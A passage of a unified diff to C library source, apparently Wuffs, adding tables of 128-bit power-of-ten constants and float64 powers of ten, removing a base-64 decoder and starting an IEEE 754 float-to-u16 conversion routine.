1e-66 -+ {0x98E947129FC2B4E9, 0x86CCBB52EA94BAEA}, // 1e-65 -+ {0x3F2398D747B36224, 0xA87FEA27A539E9A5}, // 1e-64 -+ {0x8EEC7F0D19A03AAD, 0xD29FE4B18E88640E}, // 1e-63 -+ {0x1953CF68300424AC, 0x83A3EEEEF9153E89}, // 1e-62 -+ {0x5FA8C3423C052DD7, 0xA48CEAAAB75A8E2B}, // 1e-61 -+ {0x3792F412CB06794D, 0xCDB02555653131B6}, // 1e-60 -+ {0xE2BBD88BBEE40BD0, 0x808E17555F3EBF11}, // 1e-59 -+ {0x5B6ACEAEAE9D0EC4, 0xA0B19D2AB70E6ED6}, // 1e-58 -+ {0xF245825A5A445275, 0xC8DE047564D20A8B}, // 1e-57 -+ {0xEED6E2F0F0D56712, 0xFB158592BE068D2E}, // 1e-56 -+ {0x55464DD69685606B, 0x9CED737BB6C4183D}, // 1e-55 -+ {0xAA97E14C3C26B886, 0xC428D05AA4751E4C}, // 1e-54 -+ {0xD53DD99F4B3066A8, 0xF53304714D9265DF}, // 1e-53 -+ {0xE546A8038EFE4029, 0x993FE2C6D07B7FAB}, // 1e-52 -+ {0xDE98520472BDD033, 0xBF8FDB78849A5F96}, // 1e-51 -+ {0x963E66858F6D4440, 0xEF73D256A5C0F77C}, // 1e-50 -+ {0xDDE7001379A44AA8, 0x95A8637627989AAD}, // 1e-49 -+ {0x5560C018580D5D52, 0xBB127C53B17EC159}, // 1e-48 -+ {0xAAB8F01E6E10B4A6, 0xE9D71B689DDE71AF}, // 1e-47 -+ {0xCAB3961304CA70E8, 0x9226712162AB070D}, // 1e-46 -+ {0x3D607B97C5FD0D22, 0xB6B00D69BB55C8D1}, // 1e-45 -+ {0x8CB89A7DB77C506A, 0xE45C10C42A2B3B05}, // 1e-44 -+ {0x77F3608E92ADB242, 0x8EB98A7A9A5B04E3}, // 1e-43 -+ {0x55F038B237591ED3, 0xB267ED1940F1C61C}, // 1e-42 -+ {0x6B6C46DEC52F6688, 0xDF01E85F912E37A3}, // 1e-41 -+ {0x2323AC4B3B3DA015, 0x8B61313BBABCE2C6}, // 1e-40 -+ {0xABEC975E0A0D081A, 0xAE397D8AA96C1B77}, // 1e-39 -+ {0x96E7BD358C904A21, 0xD9C7DCED53C72255}, // 1e-38 -+ {0x7E50D64177DA2E54, 0x881CEA14545C7575}, // 1e-37 -+ {0xDDE50BD1D5D0B9E9, 0xAA242499697392D2}, // 1e-36 -+ {0x955E4EC64B44E864, 0xD4AD2DBFC3D07787}, // 1e-35 -+ {0xBD5AF13BEF0B113E, 0x84EC3C97DA624AB4}, // 1e-34 -+ {0xECB1AD8AEACDD58E, 0xA6274BBDD0FADD61}, // 1e-33 -+ {0x67DE18EDA5814AF2, 0xCFB11EAD453994BA}, // 1e-32 -+ {0x80EACF948770CED7, 0x81CEB32C4B43FCF4}, // 1e-31 -+ {0xA1258379A94D028D, 0xA2425FF75E14FC31}, // 1e-30 -+ {0x096EE45813A04330, 0xCAD2F7F5359A3B3E}, // 1e-29 -+ {0x8BCA9D6E188853FC, 0xFD87B5F28300CA0D}, // 1e-28 -+ {0x775EA264CF55347D, 0x9E74D1B791E07E48}, // 1e-27 -+ {0x95364AFE032A819D, 0xC612062576589DDA}, // 1e-26 -+ {0x3A83DDBD83F52204, 0xF79687AED3EEC551}, // 1e-25 -+ {0xC4926A9672793542, 0x9ABE14CD44753B52}, // 1e-24 -+ {0x75B7053C0F178293, 0xC16D9A0095928A27}, // 1e-23 -+ {0x5324C68B12DD6338, 0xF1C90080BAF72CB1}, // 1e-22 -+ {0xD3F6FC16EBCA5E03, 0x971DA05074DA7BEE}, // 1e-21 -+ {0x88F4BB1CA6BCF584, 0xBCE5086492111AEA}, // 1e-20 -+ {0x2B31E9E3D06C32E5, 0xEC1E4A7DB69561A5}, // 1e-19 -+ {0x3AFF322E62439FCF, 0x9392EE8E921D5D07}, // 1e-18 -+ {0x09BEFEB9FAD487C2, 0xB877AA3236A4B449}, // 1e-17 -+ {0x4C2EBE687989A9B3, 0xE69594BEC44DE15B}, // 1e-16 -+ {0x0F9D37014BF60A10, 0x901D7CF73AB0ACD9}, // 1e-15 -+ {0x538484C19EF38C94, 0xB424DC35095CD80F}, // 1e-14 -+ {0x2865A5F206B06FB9, 0xE12E13424BB40E13}, // 1e-13 -+ {0xF93F87B7442E45D3, 0x8CBCCC096F5088CB}, // 1e-12 -+ {0xF78F69A51539D748, 0xAFEBFF0BCB24AAFE}, // 1e-11 -+ {0xB573440E5A884D1B, 0xDBE6FECEBDEDD5BE}, // 1e-10 -+ {0x31680A88F8953030, 0x89705F4136B4A597}, // 1e-9 -+ {0xFDC20D2B36BA7C3D, 0xABCC77118461CEFC}, // 1e-8 -+ {0x3D32907604691B4C, 0xD6BF94D5E57A42BC}, // 1e-7 -+ {0xA63F9A49C2C1B10F, 0x8637BD05AF6C69B5}, // 1e-6 -+ {0x0FCF80DC33721D53, 0xA7C5AC471B478423}, // 1e-5 -+ {0xD3C36113404EA4A8, 0xD1B71758E219652B}, // 1e-4 -+ {0x645A1CAC083126E9, 0x83126E978D4FDF3B}, // 1e-3 -+ {0x3D70A3D70A3D70A3, 0xA3D70A3D70A3D70A}, // 1e-2 -+ {0xCCCCCCCCCCCCCCCC, 0xCCCCCCCCCCCCCCCC}, // 1e-1 -+ {0x0000000000000000, 0x8000000000000000}, // 1e0 -+ {0x0000000000000000, 0xA000000000000000}, // 1e1 -+ {0x0000000000000000, 0xC800000000000000}, // 1e2 -+ {0x0000000000000000, 0xFA00000000000000}, // 1e3 -+ {0x0000000000000000, 0x9C40000000000000}, // 1e4 -+ {0x0000000000000000, 0xC350000000000000}, // 1e5 -+ {0x0000000000000000, 0xF424000000000000}, // 1e6 -+ {0x0000000000000000, 0x9896800000000000}, // 1e7 -+ {0x0000000000000000, 0xBEBC200000000000}, // 1e8 -+ {0x0000000000000000, 0xEE6B280000000000}, // 1e9 -+ {0x0000000000000000, 0x9502F90000000000}, // 1e10 -+ {0x0000000000000000, 0xBA43B74000000000}, // 1e11 -+ {0x0000000000000000, 0xE8D4A51000000000}, // 1e12 -+ {0x0000000000000000, 0x9184E72A00000000}, // 1e13 -+ {0x0000000000000000, 0xB5E620F480000000}, // 1e14 -+ {0x0000000000000000, 0xE35FA931A0000000}, // 1e15 -+ {0x0000000000000000, 0x8E1BC9BF04000000}, // 1e16 -+ {0x0000000000000000, 0xB1A2BC2EC5000000}, // 1e17 -+ {0x0000000000000000, 0xDE0B6B3A76400000}, // 1e18 -+ {0x0000000000000000, 0x8AC7230489E80000}, // 1e19 -+ {0x0000000000000000, 0xAD78EBC5AC620000}, // 1e20 -+ {0x0000000000000000, 0xD8D726B7177A8000}, // 1e21 -+ {0x0000000000000000, 0x878678326EAC9000}, // 1e22 -+ {0x0000000000000000, 0xA968163F0A57B400}, // 1e23 -+ {0x0000000000000000, 0xD3C21BCECCEDA100}, // 1e24 -+ {0x0000000000000000, 0x84595161401484A0}, // 1e25 -+ {0x0000000000000000, 0xA56FA5B99019A5C8}, // 1e26 -+ {0x0000000000000000, 0xCECB8F27F4200F3A}, // 1e27 -+ {0x4000000000000000, 0x813F3978F8940984}, // 1e28 -+ {0x5000000000000000, 0xA18F07D736B90BE5}, // 1e29 -+ {0xA400000000000000, 0xC9F2C9CD04674EDE}, // 1e30 -+ {0x4D00000000000000, 0xFC6F7C4045812296}, // 1e31 -+ {0xF020000000000000, 0x9DC5ADA82B70B59D}, // 1e32 -+ {0x6C28000000000000, 0xC5371912364CE305}, // 1e33 -+ {0xC732000000000000, 0xF684DF56C3E01BC6}, // 1e34 -+ {0x3C7F400000000000, 0x9A130B963A6C115C}, // 1e35 -+ {0x4B9F100000000000, 0xC097CE7BC90715B3}, // 1e36 -+ {0x1E86D40000000000, 0xF0BDC21ABB48DB20}, // 1e37 -+ {0x1314448000000000, 0x96769950B50D88F4}, // 1e38 -+ {0x17D955A000000000, 0xBC143FA4E250EB31}, // 1e39 -+ {0x5DCFAB0800000000, 0xEB194F8E1AE525FD}, // 1e40 -+ {0x5AA1CAE500000000, 0x92EFD1B8D0CF37BE}, // 1e41 -+ {0xF14A3D9E40000000, 0xB7ABC627050305AD}, // 1e42 -+ {0x6D9CCD05D0000000, 0xE596B7B0C643C719}, // 1e43 -+ {0xE4820023A2000000, 0x8F7E32CE7BEA5C6F}, // 1e44 -+ {0xDDA2802C8A800000, 0xB35DBF821AE4F38B}, // 1e45 -+ {0xD50B2037AD200000, 0xE0352F62A19E306E}, // 1e46 -+ {0x4526F422CC340000, 0x8C213D9DA502DE45}, // 1e47 -+ {0x9670B12B7F410000, 0xAF298D050E4395D6}, // 1e48 -+ {0x3C0CDD765F114000, 0xDAF3F04651D47B4C}, // 1e49 -+ {0xA5880A69FB6AC800, 0x88D8762BF324CD0F}, // 1e50 -+ {0x8EEA0D047A457A00, 0xAB0E93B6EFEE0053}, // 1e51 -+ {0x72A4904598D6D880, 0xD5D238A4ABE98068}, // 1e52 -+ {0x47A6DA2B7F864750, 0x85A36366EB71F041}, // 1e53 -+ {0x999090B65F67D924, 0xA70C3C40A64E6C51}, // 1e54 -+ {0xFFF4B4E3F741CF6D, 0xD0CF4B50CFE20765}, // 1e55 -+ {0xBFF8F10E7A8921A4, 0x82818F1281ED449F}, // 1e56 -+ {0xAFF72D52192B6A0D, 0xA321F2D7226895C7}, // 1e57 -+ {0x9BF4F8A69F764490, 0xCBEA6F8CEB02BB39}, // 1e58 -+ {0x02F236D04753D5B4, 0xFEE50B7025C36A08}, // 1e59 -+ {0x01D762422C946590, 0x9F4F2726179A2245}, // 1e60 -+ {0x424D3AD2B7B97EF5, 0xC722F0EF9D80AAD6}, // 1e61 -+ {0xD2E0898765A7DEB2, 0xF8EBAD2B84E0D58B}, // 1e62 -+ {0x63CC55F49F88EB2F, 0x9B934C3B330C8577}, // 1e63 -+ {0x3CBF6B71C76B25FB, 0xC2781F49FFCFA6D5}, // 1e64 -+ {0x8BEF464E3945EF7A, 0xF316271C7FC3908A}, // 1e65 -+ {0x97758BF0E3CBB5AC, 0x97EDD871CFDA3A56}, // 1e66 -+ {0x3D52EEED1CBEA317, 0xBDE94E8E43D0C8EC}, // 1e67 -+ {0x4CA7AAA863EE4BDD, 0xED63A231D4C4FB27}, // 1e68 -+ {0x8FE8CAA93E74EF6A, 0x945E455F24FB1CF8}, // 1e69 -+ {0xB3E2FD538E122B44, 0xB975D6B6EE39E436}, // 1e70 -+ {0x60DBBCA87196B616, 0xE7D34C64A9C85D44}, // 1e71 -+ {0xBC8955E946FE31CD, 0x90E40FBEEA1D3A4A}, // 1e72 -+ {0x6BABAB6398BDBE41, 0xB51D13AEA4A488DD}, // 1e73 -+ {0xC696963C7EED2DD1, 0xE264589A4DCDAB14}, // 1e74 -+ {0xFC1E1DE5CF543CA2, 0x8D7EB76070A08AEC}, // 1e75 -+ {0x3B25A55F43294BCB, 0xB0DE65388CC8ADA8}, // 1e76 -+ {0x49EF0EB713F39EBE, 0xDD15FE86AFFAD912}, // 1e77 -+ {0x6E3569326C784337, 0x8A2DBF142DFCC7AB}, // 1e78 -+ {0x49C2C37F07965404, 0xACB92ED9397BF996}, // 1e79 -+ {0xDC33745EC97BE906, 0xD7E77A8F87DAF7FB}, // 1e80 -+ {0x69A028BB3DED71A3, 0x86F0AC99B4E8DAFD}, // 1e81 -+ {0xC40832EA0D68CE0C, 0xA8ACD7C0222311BC}, // 1e82 -+ {0xF50A3FA490C30190, 0xD2D80DB02AABD62B}, // 1e83 -+ {0x792667C6DA79E0FA, 0x83C7088E1AAB65DB}, // 1e84 -+ {0x577001B891185938, 0xA4B8CAB1A1563F52}, // 1e85 -+ {0xED4C0226B55E6F86, 0xCDE6FD5E09ABCF26}, // 1e86 -+ {0x544F8158315B05B4, 0x80B05E5AC60B6178}, // 1e87 -+ {0x696361AE3DB1C721, 0xA0DC75F1778E39D6}, // 1e88 -+ {0x03BC3A19CD1E38E9, 0xC913936DD571C84C}, // 1e89 -+ {0x04AB48A04065C723, 0xFB5878494ACE3A5F}, // 1e90 -+ {0x62EB0D64283F9C76, 0x9D174B2DCEC0E47B}, // 1e91 -+ {0x3BA5D0BD324F8394, 0xC45D1DF942711D9A}, // 1e92 -+ {0xCA8F44EC7EE36479, 0xF5746577930D6500}, // 1e93 -+ {0x7E998B13CF4E1ECB, 0x9968BF6ABBE85F20}, // 1e94 -+ {0x9E3FEDD8C321A67E, 0xBFC2EF456AE276E8}, // 1e95 -+ {0xC5CFE94EF3EA101E, 0xEFB3AB16C59B14A2}, // 1e96 -+ {0xBBA1F1D158724A12, 0x95D04AEE3B80ECE5}, // 1e97 -+ {0x2A8A6E45AE8EDC97, 0xBB445DA9CA61281F}, // 1e98 -+ {0xF52D09D71A3293BD, 0xEA1575143CF97226}, // 1e99 -+ {0x593C2626705F9C56, 0x924D692CA61BE758}, // 1e100 -+ {0x6F8B2FB00C77836C, 0xB6E0C377CFA2E12E}, // 1e101 -+ {0x0B6DFB9C0F956447, 0xE498F455C38B997A}, // 1e102 -+ {0x4724BD4189BD5EAC, 0x8EDF98B59A373FEC}, // 1e103 -+ {0x58EDEC91EC2CB657, 0xB2977EE300C50FE7}, // 1e104 -+ {0x2F2967B66737E3ED, 0xDF3D5E9BC0F653E1}, // 1e105 -+ {0xBD79E0D20082EE74, 0x8B865B215899F46C}, // 1e106 -+ {0xECD8590680A3AA11, 0xAE67F1E9AEC07187}, // 1e107 -+ {0xE80E6F4820CC9495, 0xDA01EE641A708DE9}, // 1e108 -+ {0x3109058D147FDCDD, 0x884134FE908658B2}, // 1e109 -+ {0xBD4B46F0599FD415, 0xAA51823E34A7EEDE}, // 1e110 -+ {0x6C9E18AC7007C91A, 0xD4E5E2CDC1D1EA96}, // 1e111 -+ {0x03E2CF6BC604DDB0, 0x850FADC09923329E}, // 1e112 -+ {0x84DB8346B786151C, 0xA6539930BF6BFF45}, // 1e113 -+ {0xE612641865679A63, 0xCFE87F7CEF46FF16}, // 1e114 -+ {0x4FCB7E8F3F60C07E, 0x81F14FAE158C5F6E}, // 1e115 -+ {0xE3BE5E330F38F09D, 0xA26DA3999AEF7749}, // 1e116 -+ {0x5CADF5BFD3072CC5, 0xCB090C8001AB551C}, // 1e117 -+ {0x73D9732FC7C8F7F6, 0xFDCB4FA002162A63}, // 1e118 -+ {0x2867E7FDDCDD9AFA, 0x9E9F11C4014DDA7E}, // 1e119 -+ {0xB281E1FD541501B8, 0xC646D63501A1511D}, // 1e120 -+ {0x1F225A7CA91A4226, 0xF7D88BC24209A565}, // 1e121 -+ {0x3375788DE9B06958, 0x9AE757596946075F}, // 1e122 -+ {0x0052D6B1641C83AE, 0xC1A12D2FC3978937}, // 1e123 -+ {0xC0678C5DBD23A49A, 0xF209787BB47D6B84}, // 1e124 -+ {0xF840B7BA963646E0, 0x9745EB4D50CE6332}, // 1e125 -+ {0xB650E5A93BC3D898, 0xBD176620A501FBFF}, // 1e126 -+ {0xA3E51F138AB4CEBE, 0xEC5D3FA8CE427AFF}, // 1e127 -+ {0xC66F336C36B10137, 0x93BA47C980E98CDF}, // 1e128 -+ {0xB80B0047445D4184, 0xB8A8D9BBE123F017}, // 1e129 -+ {0xA60DC059157491E5, 0xE6D3102AD96CEC1D}, // 1e130 -+ {0x87C89837AD68DB2F, 0x9043EA1AC7E41392}, // 1e131 -+ {0x29BABE4598C311FB, 0xB454E4A179DD1877}, // 1e132 -+ {0xF4296DD6FEF3D67A, 0xE16A1DC9D8545E94}, // 1e133 -+ {0x1899E4A65F58660C, 0x8CE2529E2734BB1D}, // 1e134 -+ {0x5EC05DCFF72E7F8F, 0xB01AE745B101E9E4}, // 1e135 -+ {0x76707543F4FA1F73, 0xDC21A1171D42645D}, // 1e136 -+ {0x6A06494A791C53A8, 0x899504AE72497EBA}, // 1e137 -+ {0x0487DB9D17636892, 0xABFA45DA0EDBDE69}, // 1e138 -+ {0x45A9D2845D3C42B6, 0xD6F8D7509292D603}, // 1e139 -+ {0x0B8A2392BA45A9B2, 0x865B86925B9BC5C2}, // 1e140 -+ {0x8E6CAC7768D7141E, 0xA7F26836F282B732}, // 1e141 -+ {0x3207D795430CD926, 0xD1EF0244AF2364FF}, // 1e142 -+ {0x7F44E6BD49E807B8, 0x8335616AED761F1F}, // 1e143 -+ {0x5F16206C9C6209A6, 0xA402B9C5A8D3A6E7}, // 1e144 -+ {0x36DBA887C37A8C0F, 0xCD036837130890A1}, // 1e145 -+ {0xC2494954DA2C9789, 0x802221226BE55A64}, // 1e146 -+ {0xF2DB9BAA10B7BD6C, 0xA02AA96B06DEB0FD}, // 1e147 -+ {0x6F92829494E5ACC7, 0xC83553C5C8965D3D}, // 1e148 -+ {0xCB772339BA1F17F9, 0xFA42A8B73ABBF48C}, // 1e149 -+ {0xFF2A760414536EFB, 0x9C69A97284B578D7}, // 1e150 -+ {0xFEF5138519684ABA, 0xC38413CF25E2D70D}, // 1e151 -+ {0x7EB258665FC25D69, 0xF46518C2EF5B8CD1}, // 1e152 -+ {0xEF2F773FFBD97A61, 0x98BF2F79D5993802}, // 1e153 -+ {0xAAFB550FFACFD8FA, 0xBEEEFB584AFF8603}, // 1e154 -+ {0x95BA2A53F983CF38, 0xEEAABA2E5DBF6784}, // 1e155 -+ {0xDD945A747BF26183, 0x952AB45CFA97A0B2}, // 1e156 -+ {0x94F971119AEEF9E4, 0xBA756174393D88DF}, // 1e157 -+ {0x7A37CD5601AAB85D, 0xE912B9D1478CEB17}, // 1e158 -+ {0xAC62E055C10AB33A, 0x91ABB422CCB812EE}, // 1e159 -+ {0x577B986B314D6009, 0xB616A12B7FE617AA}, // 1e160 -+ {0xED5A7E85FDA0B80B, 0xE39C49765FDF9D94}, // 1e161 -+ {0x14588F13BE847307, 0x8E41ADE9FBEBC27D}, // 1e162 -+ {0x596EB2D8AE258FC8, 0xB1D219647AE6B31C}, // 1e163 -+ {0x6FCA5F8ED9AEF3BB, 0xDE469FBD99A05FE3}, // 1e164 -+ {0x25DE7BB9480D5854, 0x8AEC23D680043BEE}, // 1e165 -+ {0xAF561AA79A10AE6A, 0xADA72CCC20054AE9}, // 1e166 -+ {0x1B2BA1518094DA04, 0xD910F7FF28069DA4}, // 1e167 -+ {0x90FB44D2F05D0842, 0x87AA9AFF79042286}, // 1e168 -+ {0x353A1607AC744A53, 0xA99541BF57452B28}, // 1e169 -+ {0x42889B8997915CE8, 0xD3FA922F2D1675F2}, // 1e170 -+ {0x69956135FEBADA11, 0x847C9B5D7C2E09B7}, // 1e171 -+ {0x43FAB9837E699095, 0xA59BC234DB398C25}, // 1e172 -+ {0x94F967E45E03F4BB, 0xCF02B2C21207EF2E}, // 1e173 -+ {0x1D1BE0EEBAC278F5, 0x8161AFB94B44F57D}, // 1e174 -+ {0x6462D92A69731732, 0xA1BA1BA79E1632DC}, // 1e175 -+ {0x7D7B8F7503CFDCFE, 0xCA28A291859BBF93}, // 1e176 -+ {0x5CDA735244C3D43E, 0xFCB2CB35E702AF78}, // 1e177 -+ {0x3A0888136AFA64A7, 0x9DEFBF01B061ADAB}, // 1e178 -+ {0x088AAA1845B8FDD0, 0xC56BAEC21C7A1916}, // 1e179 -+ {0x8AAD549E57273D45, 0xF6C69A72A3989F5B}, // 1e180 -+ {0x36AC54E2F678864B, 0x9A3C2087A63F6399}, // 1e181 -+ {0x84576A1BB416A7DD, 0xC0CB28A98FCF3C7F}, // 1e182 -+ {0x656D44A2A11C51D5, 0xF0FDF2D3F3C30B9F}, // 1e183 -+ {0x9F644AE5A4B1B325, 0x969EB7C47859E743}, // 1e184 -+ {0x873D5D9F0DDE1FEE, 0xBC4665B596706114}, // 1e185 -+ {0xA90CB506D155A7EA, 0xEB57FF22FC0C7959}, // 1e186 -+ {0x09A7F12442D588F2, 0x9316FF75DD87CBD8}, // 1e187 -+ {0x0C11ED6D538AEB2F, 0xB7DCBF5354E9BECE}, // 1e188 -+ {0x8F1668C8A86DA5FA, 0xE5D3EF282A242E81}, // 1e189 -+ {0xF96E017D694487BC, 0x8FA475791A569D10}, // 1e190 -+ {0x37C981DCC395A9AC, 0xB38D92D760EC4455}, // 1e191 -+ {0x85BBE253F47B1417, 0xE070F78D3927556A}, // 1e192 -+ {0x93956D7478CCEC8E, 0x8C469AB843B89562}, // 1e193 -+ {0x387AC8D1970027B2, 0xAF58416654A6BABB}, // 1e194 -+ {0x06997B05FCC0319E, 0xDB2E51BFE9D0696A}, // 1e195 -+ {0x441FECE3BDF81F03, 0x88FCF317F22241E2}, // 1e196 -+ {0xD527E81CAD7626C3, 0xAB3C2FDDEEAAD25A}, // 1e197 -+ {0x8A71E223D8D3B074, 0xD60B3BD56A5586F1}, // 1e198 -+ {0xF6872D5667844E49, 0x85C7056562757456}, // 1e199 -+ {0xB428F8AC016561DB, 0xA738C6BEBB12D16C}, // 1e200 -+ {0xE13336D701BEBA52, 0xD106F86E69D785C7}, // 1e201 -+ {0xECC0024661173473, 0x82A45B450226B39C}, // 1e202 -+ {0x27F002D7F95D0190, 0xA34D721642B06084}, // 1e203 -+ {0x31EC038DF7B441F4, 0xCC20CE9BD35C78A5}, // 1e204 -+ {0x7E67047175A15271, 0xFF290242C83396CE}, // 1e205 -+ {0x0F0062C6E984D386, 0x9F79A169BD203E41}, // 1e206 -+ {0x52C07B78A3E60868, 0xC75809C42C684DD1}, // 1e207 -+ {0xA7709A56CCDF8A82, 0xF92E0C3537826145}, // 1e208 -+ {0x88A66076400BB691, 0x9BBCC7A142B17CCB}, // 1e209 -+ {0x6ACFF893D00EA435, 0xC2ABF989935DDBFE}, // 1e210 -+ {0x0583F6B8C4124D43, 0xF356F7EBF83552FE}, // 1e211 -+ {0xC3727A337A8B704A, 0x98165AF37B2153DE}, // 1e212 -+ {0x744F18C0592E4C5C, 0xBE1BF1B059E9A8D6}, // 1e213 -+ {0x1162DEF06F79DF73, 0xEDA2EE1C7064130C}, // 1e214 -+ {0x8ADDCB5645AC2BA8, 0x9485D4D1C63E8BE7}, // 1e215 -+ {0x6D953E2BD7173692, 0xB9A74A0637CE2EE1}, // 1e216 -+ {0xC8FA8DB6CCDD0437, 0xE8111C87C5C1BA99}, // 1e217 -+ {0x1D9C9892400A22A2, 0x910AB1D4DB9914A0}, // 1e218 -+ {0x2503BEB6D00CAB4B, 0xB54D5E4A127F59C8}, // 1e219 -+ {0x2E44AE64840FD61D, 0xE2A0B5DC971F303A}, // 1e220 -+ {0x5CEAECFED289E5D2, 0x8DA471A9DE737E24}, // 1e221 -+ {0x7425A83E872C5F47, 0xB10D8E1456105DAD}, // 1e222 -+ {0xD12F124E28F77719, 0xDD50F1996B947518}, // 1e223 -+ {0x82BD6B70D99AAA6F, 0x8A5296FFE33CC92F}, // 1e224 -+ {0x636CC64D1001550B, 0xACE73CBFDC0BFB7B}, // 1e225 -+ {0x3C47F7E05401AA4E, 0xD8210BEFD30EFA5A}, // 1e226 -+ {0x65ACFAEC34810A71, 0x8714A775E3E95C78}, // 1e227 -+ {0x7F1839A741A14D0D, 0xA8D9D1535CE3B396}, // 1e228 -+ {0x1EDE48111209A050, 0xD31045A8341CA07C}, // 1e229 -+ {0x934AED0AAB460432, 0x83EA2B892091E44D}, // 1e230 -+ {0xF81DA84D5617853F, 0xA4E4B66B68B65D60}, // 1e231 -+ {0x36251260AB9D668E, 0xCE1DE40642E3F4B9}, // 1e232 -+ {0xC1D72B7C6B426019, 0x80D2AE83E9CE78F3}, // 1e233 -+ {0xB24CF65B8612F81F, 0xA1075A24E4421730}, // 1e234 -+ {0xDEE033F26797B627, 0xC94930AE1D529CFC}, // 1e235 -+ {0x169840EF017DA3B1, 0xFB9B7CD9A4A7443C}, // 1e236 -+ {0x8E1F289560EE864E, 0x9D412E0806E88AA5}, // 1e237 -+ {0xF1A6F2BAB92A27E2, 0xC491798A08A2AD4E}, // 1e238 -+ {0xAE10AF696774B1DB, 0xF5B5D7EC8ACB58A2}, // 1e239 -+ {0xACCA6DA1E0A8EF29, 0x9991A6F3D6BF1765}, // 1e240 -+ {0x17FD090A58D32AF3, 0xBFF610B0CC6EDD3F}, // 1e241 -+ {0xDDFC4B4CEF07F5B0, 0xEFF394DCFF8A948E}, // 1e242 -+ {0x4ABDAF101564F98E, 0x95F83D0A1FB69CD9}, // 1e243 -+ {0x9D6D1AD41ABE37F1, 0xBB764C4CA7A4440F}, // 1e244 -+ {0x84C86189216DC5ED, 0xEA53DF5FD18D5513}, // 1e245 -+ {0x32FD3CF5B4E49BB4, 0x92746B9BE2F8552C}, // 1e246 -+ {0x3FBC8C33221DC2A1, 0xB7118682DBB66A77}, // 1e247 -+ {0x0FABAF3FEAA5334A, 0xE4D5E82392A40515}, // 1e248 -+ {0x29CB4D87F2A7400E, 0x8F05B1163BA6832D}, // 1e249 -+ {0x743E20E9EF511012, 0xB2C71D5BCA9023F8}, // 1e250 -+ {0x914DA9246B255416, 0xDF78E4B2BD342CF6}, // 1e251 -+ {0x1AD089B6C2F7548E, 0x8BAB8EEFB6409C1A}, // 1e252 -+ {0xA184AC2473B529B1, 0xAE9672ABA3D0C320}, // 1e253 -+ {0xC9E5D72D90A2741E, 0xDA3C0F568CC4F3E8}, // 1e254 -+ {0x7E2FA67C7A658892, 0x8865899617FB1871}, // 1e255 -+ {0xDDBB901B98FEEAB7, 0xAA7EEBFB9DF9DE8D}, // 1e256 -+ {0x552A74227F3EA565, 0xD51EA6FA85785631}, // 1e257 -+ {0xD53A88958F87275F, 0x8533285C936B35DE}, // 1e258 -+ {0x8A892ABAF368F137, 0xA67FF273B8460356}, // 1e259 -+ {0x2D2B7569B0432D85, 0xD01FEF10A657842C}, // 1e260 -+ {0x9C3B29620E29FC73, 0x8213F56A67F6B29B}, // 1e261 -+ {0x8349F3BA91B47B8F, 0xA298F2C501F45F42}, // 1e262 -+ {0x241C70A936219A73, 0xCB3F2F7642717713}, // 1e263 -+ {0xED238CD383AA0110, 0xFE0EFB53D30DD4D7}, // 1e264 -+ {0xF4363804324A40AA, 0x9EC95D1463E8A506}, // 1e265 -+ {0xB143C6053EDCD0D5, 0xC67BB4597CE2CE48}, // 1e266 -+ {0xDD94B7868E94050A, 0xF81AA16FDC1B81DA}, // 1e267 -+ {0xCA7CF2B4191C8326, 0x9B10A4E5E9913128}, // 1e268 -+ {0xFD1C2F611F63A3F0, 0xC1D4CE1F63F57D72}, // 1e269 -+ {0xBC633B39673C8CEC, 0xF24A01A73CF2DCCF}, // 1e270 -+ {0xD5BE0503E085D813, 0x976E41088617CA01}, // 1e271 -+ {0x4B2D8644D8A74E18, 0xBD49D14AA79DBC82}, // 1e272 -+ {0xDDF8E7D60ED1219E, 0xEC9C459D51852BA2}, // 1e273 -+ {0xCABB90E5C942B503, 0x93E1AB8252F33B45}, // 1e274 -+ {0x3D6A751F3B936243, 0xB8DA1662E7B00A17}, // 1e275 -+ {0x0CC512670A783AD4, 0xE7109BFBA19C0C9D}, // 1e276 -+ {0x27FB2B80668B24C5, 0x906A617D450187E2}, // 1e277 -+ {0xB1F9F660802DEDF6, 0xB484F9DC9641E9DA}, // 1e278 -+ {0x5E7873F8A0396973, 0xE1A63853BBD26451}, // 1e279 -+ {0xDB0B487B6423E1E8, 0x8D07E33455637EB2}, // 1e280 -+ {0x91CE1A9A3D2CDA62, 0xB049DC016ABC5E5F}, // 1e281 -+ {0x7641A140CC7810FB, 0xDC5C5301C56B75F7}, // 1e282 -+ {0xA9E904C87FCB0A9D, 0x89B9B3E11B6329BA}, // 1e283 -+ {0x546345FA9FBDCD44, 0xAC2820D9623BF429}, // 1e284 -+ {0xA97C177947AD4095, 0xD732290FBACAF133}, // 1e285 -+ {0x49ED8EABCCCC485D, 0x867F59A9D4BED6C0}, // 1e286 -+ {0x5C68F256BFFF5A74, 0xA81F301449EE8C70}, // 1e287 -+ {0x73832EEC6FFF3111, 0xD226FC195C6A2F8C}, // 1e288 - }; - --// -------- -+// wuffs_private_impl__f64_powers_of_10 holds powers of 10 that can be exactly -+// represented by a float64 (what C calls a double). -+static const double wuffs_private_impl__f64_powers_of_10[23] = { -+ 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11, -+ 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, 1e20, 1e21, 1e22, -+}; - --WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // --wuffs_base__base_64__decode(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src, -- bool src_closed, -- uint32_t options) { -- const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) -- ? wuffs_base__base_64__decode_url -- : wuffs_base__base_64__decode_std; -- wuffs_base__transform__output o; -- uint8_t* d_ptr = dst.ptr; -- size_t d_len = dst.len; -- const uint8_t* s_ptr = src.ptr; -- size_t s_len = src.len; -- bool pad = false; -+// ---------------- IEEE 754 Floating Point - -- while (s_len >= 4) { -- uint32_t s = wuffs_base__peek_u32le__no_bounds_check(s_ptr); -- uint32_t s0 = alphabet[0xFF & (s >> 0)]; -- uint32_t s1 = alphabet[0xFF & (s >> 8)]; -- uint32_t s2 = alphabet[0xFF & (s >> 16)]; -- uint32_t s3 = alphabet[0xFF & (s >> 24)]; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u16 // -+wuffs_base__ieee_754_bit_representation__from_f64_to_u16_truncate(double f) { -+ uint64_t u = 0; -+ if (sizeof(uint64_t) == sizeof(double)) { -+ memcpy(&u, &f, sizeof(uint64_t)); -+ } -+ uint16_t neg = ((uint16_t)((u >> 63) << 15)); -+ u &= 0x7FFFFFFFFFFFFFFF; -+ uint64_t exp = u >> 52; -+ uint64_t man = u & 